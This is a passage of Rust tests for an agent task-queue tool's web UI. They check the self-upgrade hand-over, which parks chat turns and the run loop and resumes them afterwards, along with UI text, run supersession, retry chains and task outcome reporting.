20634 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20635 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
20636 let after = crate::updater::read_progress(home.path()).expect("record");
20637 assert_eq!(after.stage, crate::updater::Stage::Parking);
20638 }
20639
20640 #[tokio::test]
20641 async fn health_does_not_call_a_live_parking_wait_stuck() {
20642 let fx = Fixture::start().await;
20643 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20644 progress.parked_run = Some("20260905-000000-cd51".to_owned());
20645 progress.advance(crate::updater::Stage::Parking);
20646 let hours = Duration::from_secs(3 * 3600);
20647 progress.started_at = Timestamp::now() - hours;
20648 progress.updated_at = Timestamp::now() - hours;
20649 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
20650 let _lease = crate::updater::LeaseGuard::enter(
20651 fx.home.path(),
20652 Some("20260905-000000-cd51".to_owned()),
20653 );
20654
20655 let health = fx.get("/api/health").await.json();
20656 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
20657 assert!(health["upgrade"]["stuck_kind"].is_null());
20658 assert_eq!(health["upgrade"]["handover_alive"], true);
20659 let waiting_on = health["upgrade"]["waiting_on"]
20660 .as_str()
20661 .expect("waiting_on");
20662 assert!(waiting_on.contains("cd51"), "{waiting_on}");
20663 }
20664
20665 fn idle_ui(home: &TempDir) -> Ui {
20666 let runs = home.path().join("runs");
20667 std::fs::create_dir_all(&runs).expect("runs dir");
20668 Ui::new(
20669 Queue::at(home.path().join("queue")),
20670 Questions::at(home.path().join("questions")),
20671 Talks::at(home.path().join("talks")),
20672 runs,
20673 home.path().to_path_buf(),
20674 PathBuf::from("/repo/magi"),
20675 )
20676 .with_launch(launch_idle)
20677 }
20678
20679 async fn park_fixture(
20680 home: &TempDir,
20681 ) -> (
20682 Ui,
20683 Arc<Mutex<LoopState>>,
20684 Arc<Mutex<TalkTurns>>,
20685 tokio::task::JoinHandle<std::io::Result<()>>,
20686 ) {
20687 let ui = idle_ui(home);
20688 let looping = ui.looping();
20689 let turns = ui.turns();
20690 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
20691 .await
20692 .expect("bind loopback");
20693 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
20694 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20695 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
20696 (ui, looping, turns, served)
20697 }
20698
20699 #[tokio::test]
20703 async fn hand_over_waits_for_a_running_chat_turn() {
20704 let home = TempDir::new().expect("temp home");
20705 let (ui, looping, turns, served) = park_fixture(&home).await;
20706 let ui = Arc::new(ui);
20707 let id = "20260901-000000-chat";
20708 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
20709
20710 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
20711 let handover = tokio::spawn({
20712 let home = home.path().to_path_buf();
20713 let turns = Arc::clone(&turns);
20714 let calls = Arc::clone(&calls);
20715 async move {
20716 hand_over(
20717 &home,
20718 &looping,
20719 &turns,
20720 &|_: &[String]| Duration::from_secs(60),
20721 served,
20722 move |_| {
20723 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
20724 Ok(1)
20725 },
20726 )
20727 .await
20728 }
20729 });
20730
20731 let waiting = async {
20732 for _ in 0..200 {
20733 if crate::updater::read_progress(home.path())
20734 .is_some_and(|p| p.parked_talks == [id.to_owned()])
20735 {
20736 return;
20737 }
20738 tokio::time::sleep(Duration::from_millis(25)).await;
20739 }
20740 panic!("the park never named the chat turn");
20741 };
20742 waiting.await;
20743 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
20744
20745 let refused = ui.begin_talk_turn("20260901-000000-late").err();
20748 assert!(
20749 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
20750 "a direct start says an upgrade is in progress"
20751 );
20752 assert!(
20753 ui.begin_queued_talk_turn("20260901-000000-late")
20754 .expect("queued claim")
20755 .is_none()
20756 );
20757 assert!(matches!(
20758 ui.begin_talk_turn_unless_pending("20260901-000000-late")
20759 .expect("start"),
20760 TalkTurnStart::Busy
20761 ));
20762 assert_eq!(turns.lock().unwrap().live.len(), 1);
20763
20764 let progress = crate::updater::read_progress(home.path()).expect("progress");
20766 let view = upgrade_progress_view(&ui, progress);
20767 assert!(
20768 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
20769 "{:?}",
20770 view.waiting_on
20771 );
20772
20773 assert!(!handover.is_finished());
20774 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
20775 drop(turn);
20776 handover.await.expect("join").expect("hand over");
20777 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
20778 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
20779 }
20780
20781 #[tokio::test]
20784 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
20785 let home = TempDir::new().expect("temp home");
20786 let (ui, looping, turns, served) = park_fixture(&home).await;
20787 let ui = Arc::new(ui);
20788 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
20790 lock_or_recover(&looping).live = Some(Live {
20791 stop: daemon::Stop::new(),
20792 handle: tokio::spawn(async move {
20793 let _ = loop_ended.await;
20794 }),
20795 opts: daemon::Opts::default(),
20796 });
20797
20798 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
20799 let handover = tokio::spawn({
20800 let home = home.path().to_path_buf();
20801 let turns = Arc::clone(&turns);
20802 let calls = Arc::clone(&calls);
20803 async move {
20804 hand_over(
20805 &home,
20806 &looping,
20807 &turns,
20808 &|_: &[String]| Duration::from_secs(60),
20809 served,
20810 move |_| {
20811 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
20812 Ok(1)
20813 },
20814 )
20815 .await
20816 }
20817 });
20818
20819 let reached = async {
20820 for _ in 0..200 {
20821 if crate::updater::read_progress(home.path())
20822 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
20823 {
20824 return;
20825 }
20826 tokio::time::sleep(Duration::from_millis(25)).await;
20827 }
20828 panic!("the hand-over never reached parking");
20829 };
20830 reached.await;
20831
20832 assert!(!turns.lock().unwrap().parking);
20834 let turn = ui
20835 .begin_talk_turn("20260901-000000-chat")
20836 .expect("claim")
20837 .expect("a turn can start while the loop parks");
20838
20839 end_loop.send(()).expect("loop still waiting");
20841 for _ in 0..200 {
20842 if turns.lock().unwrap().parking {
20843 break;
20844 }
20845 tokio::time::sleep(Duration::from_millis(25)).await;
20846 }
20847 assert!(
20848 turns.lock().unwrap().parking,
20849 "closed once the loop is done"
20850 );
20851 let refused = ui.begin_talk_turn("20260901-000000-late").err();
20852 assert!(
20853 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
20854 "no turn starts once the loop is done"
20855 );
20856 assert!(
20857 ui.begin_queued_talk_turn("20260901-000000-late")
20858 .expect("queued claim")
20859 .is_none()
20860 );
20861 assert!(!handover.is_finished());
20862 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
20863
20864 drop(turn);
20865 handover.await.expect("join").expect("hand over");
20866 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
20867 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
20868 }
20869
20870 #[tokio::test]
20873 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
20874 let home = TempDir::new().expect("temp home");
20875 let (ui, looping, turns, served) = park_fixture(&home).await;
20876 let id = "20260901-000000-stuk";
20877 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
20878
20879 let calls = std::sync::atomic::AtomicUsize::new(0);
20880 hand_over(
20881 home.path(),
20882 &looping,
20883 &turns,
20884 &|_: &[String]| Duration::from_millis(300),
20885 served,
20886 |_| {
20887 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
20888 Ok(1)
20889 },
20890 )
20891 .await
20892 .expect("hand over");
20893 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
20894
20895 let progress = crate::updater::read_progress(home.path()).expect("progress");
20896 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
20897 assert!(
20898 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
20899 "{:?}",
20900 progress.detail
20901 );
20902 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
20903 assert!(
20904 log.contains("handing over anyway") && log.contains(id),
20905 "{log}"
20906 );
20907 }
20908
20909 #[tokio::test]
20912 async fn drain_loop_starts_no_turn_while_parking() {
20913 let tmp = TempDir::new().expect("tempdir");
20914 let repo = tmp.path().join("repo");
20915 std::fs::create_dir_all(&repo).expect("repo dir");
20916 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
20917 let home = TempDir::new().expect("temp home");
20918 let talks = Talks::at(home.path().join("talks"));
20919 let ui = Ui::new(
20920 Queue::at(home.path().join("queue")),
20921 Questions::at(home.path().join("questions")),
20922 talks.clone(),
20923 home.path().join("runs"),
20924 home.path().to_path_buf(),
20925 repo.clone(),
20926 )
20927 .with_worktrees_root(home.path().join("wt"));
20928 let cfg = config_for(&repo).await.expect("discover config");
20929 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
20930 let id = talk.id.clone();
20931 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
20932 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
20933 let turns = ui.turns();
20934 let parking = ParkingTurns::begin(&turns);
20935
20936 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
20937
20938 assert!(
20939 turns.lock().unwrap().live.is_empty(),
20940 "the slot is given up"
20941 );
20942 let fresh = talks.get(&id).expect("talk");
20943 assert_eq!(fresh.pending, "later", "the draft is still queued");
20944 assert!(fresh.turns.is_empty(), "no turn ran");
20945 drop(parking);
20946 }
20947
20948 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
20950 let looping = ui.looping();
20951 let turns = ui.turns();
20952 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
20953 .await
20954 .expect("bind loopback");
20955 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
20956 let told = std::sync::Mutex::new(None);
20957 hand_over(
20958 home.path(),
20959 &looping,
20960 &turns,
20961 &|_: &[String]| Duration::from_secs(5),
20962 served,
20963 |resume| {
20964 *told.lock().unwrap() = Some(resume);
20965 Ok(1)
20966 },
20967 )
20968 .await
20969 .expect("hand over");
20970 told.into_inner().unwrap().expect("successor was started")
20971 }
20972
20973 #[tokio::test]
20974 async fn a_running_loop_is_resumed_by_the_successor() {
20975 let home = TempDir::new().expect("temp home");
20976 let ui = idle_ui(&home);
20977 ui.start_loop(None).expect("start");
20978 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
20979 for _ in 0..500 {
20981 if !ui.loop_view(None).running {
20982 break;
20983 }
20984 tokio::time::sleep(Duration::from_millis(2)).await;
20985 }
20986 assert!(handed_over(&home, ui).await, "a running loop must resume");
20987
20988 let successor = idle_ui(&home);
20989 assert!(!successor.loop_view(None).running);
20990 assert!(successor.resume_after_handover(true));
20991 assert!(successor.loop_view(None).running);
20992 successor.stop_loop(None, false).expect("stop");
20993 }
20994
20995 #[tokio::test]
20996 async fn a_second_upgrade_request_keeps_the_resume_intent() {
20997 let home = TempDir::new().expect("temp home");
20998 let ui = idle_ui(&home);
20999 ui.start_loop(None).expect("start");
21000 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
21001 .expect("first park");
21002 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
21003 .expect("second park");
21004 assert!(handed_over(&home, ui).await);
21005 }
21006
21007 #[tokio::test]
21008 async fn a_stop_during_the_handover_wait_is_honoured() {
21009 let home = TempDir::new().expect("temp home");
21010 let ui = idle_ui(&home);
21011 ui.start_loop(None).expect("start");
21012 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
21013 ui.stop_loop(None, false).expect("stop");
21014 assert!(!handed_over(&home, ui).await);
21015 }
21016
21017 #[tokio::test]
21018 async fn an_idle_loop_stays_stopped_across_the_handover() {
21019 let home = TempDir::new().expect("temp home");
21020 let ui = idle_ui(&home);
21021 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
21022 assert!(!handed_over(&home, ui).await);
21023
21024 let successor = idle_ui(&home);
21025 assert!(!successor.resume_after_handover(false));
21026 assert!(!successor.loop_view(None).running);
21027 }
21028
21029 #[tokio::test]
21030 async fn a_loop_the_operator_stopped_is_not_resumed() {
21031 let home = TempDir::new().expect("temp home");
21032 let ui = idle_ui(&home);
21033 ui.start_loop(None).expect("start");
21034 ui.stop_loop(None, false).expect("stop");
21035 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
21036 assert!(!handed_over(&home, ui).await);
21037 }
21038
21039 #[test]
21040 fn only_an_explicit_one_requests_a_resume() {
21041 assert!(!resume_requested(None));
21042 assert!(!resume_requested(Some("0".into())));
21043 assert!(!resume_requested(Some("".into())));
21044 assert!(resume_requested(Some("1".into())));
21045 }
21046
21047 #[test]
21048 fn the_upgrade_button_arms_before_it_restarts_anything() {
21049 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
21052 assert!(APP_JS.contains("Replace the binary and restart?"));
21053 assert!(APP_JS.contains("function confirmed("));
21054 assert!(APP_JS.contains("show(upgradeBtn, canUpgrade)"));
21059 assert!(
21063 APP_JS.contains("Parking, then restarting"),
21064 "the button says what it is waiting for"
21065 );
21066 assert!(APP_JS.contains("if (!out.to)"));
21069 }
21070
21071 #[test]
21072 fn stopping_the_loop_arms_but_starting_does_not() {
21073 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
21076 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
21077 assert!(APP_JS.contains("confirmed(button, question)"));
21078 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
21081 assert!(APP_JS.contains("const label = btn.textContent;"));
21082 assert!(!APP_JS.contains("Neither direction is guarded"));
21083 }
21084
21085 #[test]
21086 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
21087 assert!(
21088 APP_JS.contains("state.health.version"),
21089 "the operator wants to know what is running even with nothing newer"
21090 );
21091 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
21092 }
21093
21094 #[test]
21095 fn the_upgrade_button_names_its_destination() {
21096 assert!(
21097 APP_JS.contains("`Update to ${update.to}`"),
21098 "pressing the button should not be a surprise about what it moves to"
21099 );
21100 }
21101
21102 #[test]
21103 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
21104 for stage in ["downloading", "replaced", "parking", "restarting"] {
21105 assert!(
21106 APP_JS.contains(&format!("\"{stage}\"")),
21107 "the phone must be able to tell {stage} apart from the others"
21108 );
21109 }
21110 assert!(APP_JS.contains(".waiting_on"));
21111 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
21116 assert!(APP_JS.contains("reconnects on its own"));
21117 }
21118
21119 #[test]
21120 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
21121 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
21122 ..APP_JS.find("function upgrade(").expect("upgrade")];
21123 assert!(!body.contains(
21124 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
21125 ));
21126 assert!(body.contains("renderUpgradeError();"));
21127 assert!(INDEX_HTML.contains("id=\"upgrade-error\""));
21128 }
21129
21130 #[test]
21131 fn an_overdue_upgrade_eventually_asks_for_a_human() {
21132 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
21135 assert!(APP_JS.contains("function upgradeOverdue("));
21136 }
21137
21138 #[test]
21139 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
21140 assert!(
21141 APP_JS.contains("Updated to ${upgradeInfo.to"),
21142 "the operator who asked for the restart wants to know it worked"
21143 );
21144 }
21145
21146 #[test]
21147 fn an_error_is_visible_from_where_the_button_is() {
21148 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
21153 ..APP_CSS.find(".alert-text").expect(".alert-text")];
21154 assert!(
21155 alert.contains("position: fixed"),
21156 "an error about the thing under your thumb has to be visible from \
21157 where your thumb is: {alert}"
21158 );
21159 assert!(
21160 alert.contains("z-index: 25"),
21161 "above the dock (20) and the run-actions FAB (15), so neither \
21162 buries it: {alert}"
21163 );
21164 assert!(
21165 alert.contains("var(--tap)"),
21166 "and clear of the dock and the home indicator: {alert}"
21167 );
21168 assert!(
21171 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
21172 "the FAB's column stays free: {alert}"
21173 );
21174 }
21175
21176 #[tokio::test]
21177 async fn an_older_attempt_says_what_replaced_it() {
21178 let fx = Fixture::start().await;
21179 let q = fx.queue();
21180 let runs = fx.runs();
21181 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
21182 write_run(&runs, first, RunStatus::Stalled);
21183 write_run(&runs, second, RunStatus::Blocked);
21184
21185 let mut t = Task::new(
21186 "one task".to_owned(),
21187 "do it".to_owned(),
21188 PathBuf::from("/repo"),
21189 Source::Human,
21190 );
21191 t.runs = vec![first.to_owned(), second.to_owned()];
21192 q.put(&mut t).expect("put");
21193
21194 let rows = fx.get("/api/runs").await.json();
21198 let by = |short: &str| -> Value {
21199 rows.as_array()
21200 .unwrap()
21201 .iter()
21202 .find(|r| r["short"] == short)
21203 .cloned()
21204 .unwrap_or(Value::Null)
21205 };
21206 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
21207 assert!(
21208 by("bbbb")["superseded_by"].is_null(),
21209 "the latest attempt is not superseded by anything"
21210 );
21211 assert!(APP_JS.contains("run.superseded_by"));
21213 assert!(APP_JS.contains("Superseded by"));
21214 }
21215
21216 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
21217 let mut t = Task::new(
21218 "one task".to_owned(),
21219 "do it".to_owned(),
21220 PathBuf::from("/repo"),
21221 Source::Human,
21222 );
21223 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
21224 t.status = status;
21225 t
21226 }
21227
21228 #[test]
21229 fn source_link_picks_the_page_that_filed_the_task() {
21230 let agent = |node: &str| Source::Agent {
21231 run: "20260904-014455-ab12".to_owned(),
21232 node: node.to_owned(),
21233 };
21234 let chat = source_link(&agent("chat")).expect("chat link");
21235 assert_eq!(chat.kind, "chat");
21236 assert_eq!(chat.id, "20260904-014455-ab12");
21237 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
21238 let run = source_link(&agent("implement")).expect("run link");
21239 assert_eq!(
21240 (run.kind, run.href.as_str()),
21241 ("run", "#/runs/20260904-014455-ab12")
21242 );
21243 assert_eq!(source_link(&Source::Human), None);
21244 assert_eq!(
21245 source_link(&Source::Issue {
21246 number: 3,
21247 repo: "o/r".to_owned()
21248 }),
21249 None
21250 );
21251 let odd = source_link(&Source::Agent {
21252 run: "a b/c".to_owned(),
21253 node: "chat".to_owned(),
21254 })
21255 .expect("link");
21256 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
21257 }
21258
21259 #[test]
21260 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
21261 assert!(
21262 !APP_JS.contains("src.node === \"chat\""),
21263 "inline href rule is back"
21264 );
21265 assert!(
21266 APP_JS.matches("sourceLinkOf(").count() >= 4,
21267 "helper must serve every page"
21268 );
21269 assert!(
21270 APP_JS.matches("openChatLink(").count() >= 3,
21271 "the run page still needs its explicit chat link"
21272 );
21273 assert!(
21274 !APP_JS.contains("const openChat = el("),
21275 "the Queue card duplicates its source label link again"
21276 );
21277 assert!(
21278 APP_JS.contains("metaKids.push(link ? el(\"a\""),
21279 "the task page must link a chat source label too"
21280 );
21281 }
21282
21283 #[test]
21284 fn task_ref_carries_the_source_link_for_a_chat_task() {
21285 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
21286 t.source = Source::Agent {
21287 run: "20260904-014455-ab12".to_owned(),
21288 node: "chat".to_owned(),
21289 };
21290 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
21291 let v = serde_json::to_value(&out).expect("json");
21292 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
21293 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
21294 assert_eq!(v["source_label"], t.source.label());
21295
21296 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
21297 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
21298 .expect("json");
21299 assert!(v["source_link"].is_null(), "{v}");
21300 }
21301
21302 #[test]
21303 fn task_view_serializes_source_link() {
21304 let mut t = Task::new(
21305 "t".to_owned(),
21306 "t".to_owned(),
21307 PathBuf::from("/repo"),
21308 Source::Agent {
21309 run: "20260901-000000-aaaa".to_owned(),
21310 node: "implement".to_owned(),
21311 },
21312 );
21313 t.runs.clear();
21314 let v = serde_json::to_value(TaskView::from(t)).expect("json");
21315 assert_eq!(v["source_link"]["kind"], "run", "{v}");
21316 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
21317 }
21318
21319 #[test]
21320 fn task_view_serializes_urgent_flag() {
21321 let mut t = Task::new(
21322 "t".to_owned(),
21323 "t".to_owned(),
21324 PathBuf::from("/repo"),
21325 Source::Human,
21326 );
21327 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
21328 assert_eq!(v["urgent"], false, "{v}");
21329 t.urgent = true;
21330 let v = serde_json::to_value(TaskView::from(t)).expect("json");
21331 assert_eq!(v["urgent"], true, "{v}");
21332 assert!(APP_JS.contains("task.urgent === true"));
21333 }
21334
21335 #[tokio::test]
21336 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
21337 let fx = Fixture::start().await;
21338 let runs = fx.runs();
21339 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
21340 write_run(&runs, old, RunStatus::Blocked);
21341 write_run(&runs, new, RunStatus::Merged);
21342 let mut t = outcome_task(&[old, new], TaskStatus::Done);
21343 fx.queue().put(&mut t).expect("put");
21344
21345 let view = fx.get(&format!("/api/runs/{old}")).await.json();
21346 let task = &view["task"];
21347 assert_eq!(task["status"], "done");
21348 assert_eq!(task["is_latest"], false);
21349 assert_eq!(task["latest"]["short"], "bbbb");
21350 assert_eq!(task["finished_by"]["id"], new);
21351 assert_eq!(task["finished_by"]["outcome"], "merged");
21352 assert_eq!(task["closed_by_hand"], false);
21353 assert_eq!(view["status"], "blocked", "the run keeps its own status");
21354 assert!(APP_JS.contains("finished_by"));
21355 assert!(APP_JS.contains("superseded by run"));
21356 }
21357
21358 #[tokio::test]
21359 async fn the_latest_run_reports_a_held_task_without_a_successor() {
21360 let fx = Fixture::start().await;
21361 let runs = fx.runs();
21362 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
21363 write_run(&runs, old, RunStatus::Stalled);
21364 write_run(&runs, new, RunStatus::Blocked);
21365 let mut t = outcome_task(&[old, new], TaskStatus::Held);
21366 fx.queue().put(&mut t).expect("put");
21367
21368 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
21369 assert_eq!(task["status"], "held");
21370 assert_eq!(task["is_latest"], true);
21371 assert!(task["latest"].is_null());
21372 assert!(task["finished_by"].is_null());
21373 assert_eq!(task["closed_by_hand"], false);
21374 }
21375
21376 #[tokio::test]
21377 async fn a_direct_run_has_no_task_outcome() {
21378 let fx = Fixture::start().await;
21379 let runs = fx.runs();
21380 let id = "20260901-000000-aaaa";
21381 write_run(&runs, id, RunStatus::Blocked);
21382 let view = fx.get(&format!("/api/runs/{id}")).await.json();
21383 assert!(view["task"].is_null());
21384 }
21385
21386 #[test]
21387 fn task_outcome_does_not_guess_a_finishing_run() {
21388 let a = "20260901-000000-aaaa";
21389 let b = "20260901-000000-bbbb";
21390 let c = "20260901-000000-cccc";
21391 let dir = tempfile::tempdir().expect("tempdir");
21392 write_run(dir.path(), a, RunStatus::Blocked);
21393 write_run(dir.path(), b, RunStatus::VerifiedNoop);
21394 let read = |id: &str| read_run(dir.path(), id).ok();
21396 let t = outcome_task(&[a, b, c], TaskStatus::Done);
21399 let out = task_outcome(&t, a, 3, read);
21400 assert!(out.finished_by.is_none());
21401 assert!(out.closed_by_hand);
21402 let latest = out.latest.expect("latest");
21403 assert_eq!(latest.id, c);
21404 assert_eq!(latest.status, None);
21405 assert_eq!(latest.outcome, "record unreadable");
21406
21407 write_run(dir.path(), c, RunStatus::Ready);
21409 let t = outcome_task(&[a, c], TaskStatus::Done);
21410 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
21411 assert_eq!(out.finished_by.expect("finisher").id, c);
21412 assert!(!out.closed_by_hand);
21413
21414 let t = outcome_task(&[a, b, a], TaskStatus::Held);
21416 assert!(task_outcome(&t, a, 3, read).is_latest);
21417 }
21418
21419 #[tokio::test]
21420 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
21421 let fx = Fixture::start().await;
21426 let q = fx.queue();
21427 let runs = fx.runs();
21428 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
21429 write_run(&runs, first, RunStatus::Blocked);
21430 write_run(&runs, second, RunStatus::Merged);
21431
21432 let mut t = Task::new(
21433 "one task".to_owned(),
21434 "do it".to_owned(),
21435 PathBuf::from("/repo"),
21436 Source::Human,
21437 );
21438 t.runs = vec![first.to_owned(), second.to_owned()];
21439 q.put(&mut t).expect("put");
21440
21441 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
21442 assert_eq!(earlier["superseded_by"], "dddd");
21443 assert_eq!(earlier["latest_attempt"]["id"], second);
21444 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
21445 assert_eq!(
21446 earlier["latest_attempt"]["resolved"], true,
21447 "the run that replaced it landed, so this one reads as settled"
21448 );
21449
21450 let later = fx.get(&format!("/api/runs/{second}")).await.json();
21451 assert!(
21452 later["superseded_by"].is_null(),
21453 "the latest attempt is not superseded by anything"
21454 );
21455 assert!(
21456 later["latest_attempt"].is_null(),
21457 "the latest attempt has no later attempt of its own"
21458 );
21459
21460 assert!(APP_JS.contains("run.latest_attempt"));
21467 assert!(APP_JS.contains("data-superseded"));
21468 assert!(APP_JS.contains("#/runs/${latest.id}"));
21469 }
21470
21471 #[tokio::test]
21472 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
21473 let fx = Fixture::start().await;
21479 let q = fx.queue();
21480 let runs = fx.runs();
21481 let (a, b, c) = (
21482 "20260901-000000-aaaa",
21483 "20260901-000000-bbbb",
21484 "20260901-000000-cccc",
21485 );
21486 write_run(&runs, a, RunStatus::Blocked);
21487 write_run(&runs, b, RunStatus::Blocked);
21488 write_run(&runs, c, RunStatus::Merged);
21489
21490 let mut t = Task::new(
21491 "retried twice".to_owned(),
21492 "do it".to_owned(),
21493 PathBuf::from("/repo"),
21494 Source::Human,
21495 );
21496 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
21497 q.put(&mut t).expect("put");
21498
21499 let view = fx.get(&format!("/api/runs/{a}")).await.json();
21500 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
21501 assert_eq!(
21502 view["latest_attempt"]["id"], c,
21503 "the chain's current head, not the intermediate Blocked retry"
21504 );
21505 assert_eq!(view["latest_attempt"]["resolved"], true);
21506
21507 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
21508 assert_eq!(mid["latest_attempt"]["id"], c);
21509 assert_eq!(mid["latest_attempt"]["resolved"], true);
21510 }
21511
21512 #[tokio::test]
21513 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
21514 let fx = Fixture::start().await;
21515 let q = fx.queue();
21516 let runs = fx.runs();
21517
21518 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
21521 write_run(&runs, still_blocked_a, RunStatus::Blocked);
21522 write_run(&runs, still_blocked_b, RunStatus::Blocked);
21523 let mut t1 = Task::new(
21524 "still stuck".to_owned(),
21525 "do it".to_owned(),
21526 PathBuf::from("/repo"),
21527 Source::Human,
21528 );
21529 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
21530 q.put(&mut t1).expect("put");
21531 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
21532 assert_eq!(view1["latest_attempt"]["resolved"], false);
21533 assert_eq!(view1["latest_attempt"]["status"], "blocked");
21534 assert_eq!(view1["latest_attempt"]["done"], true);
21535
21536 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
21538 write_run(&runs, run_a, RunStatus::Blocked);
21539 write_run(&runs, run_b, RunStatus::Implementing);
21540 let mut t3 = Task::new(
21541 "retrying".to_owned(),
21542 "do it".to_owned(),
21543 PathBuf::from("/repo"),
21544 Source::Human,
21545 );
21546 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
21547 q.put(&mut t3).expect("put");
21548 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
21549 assert_eq!(view3["latest_attempt"]["id"], run_b);
21550 assert_eq!(view3["latest_attempt"]["resolved"], false);
21551 assert_eq!(view3["latest_attempt"]["done"], false);
21552
21553 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
21558 write_run(&runs, noop_a, RunStatus::Blocked);
21559 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
21560 let mut t2 = Task::new(
21561 "claims done".to_owned(),
21562 "do it".to_owned(),
21563 PathBuf::from("/repo"),
21564 Source::Human,
21565 );
21566 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
21567 q.put(&mut t2).expect("put");
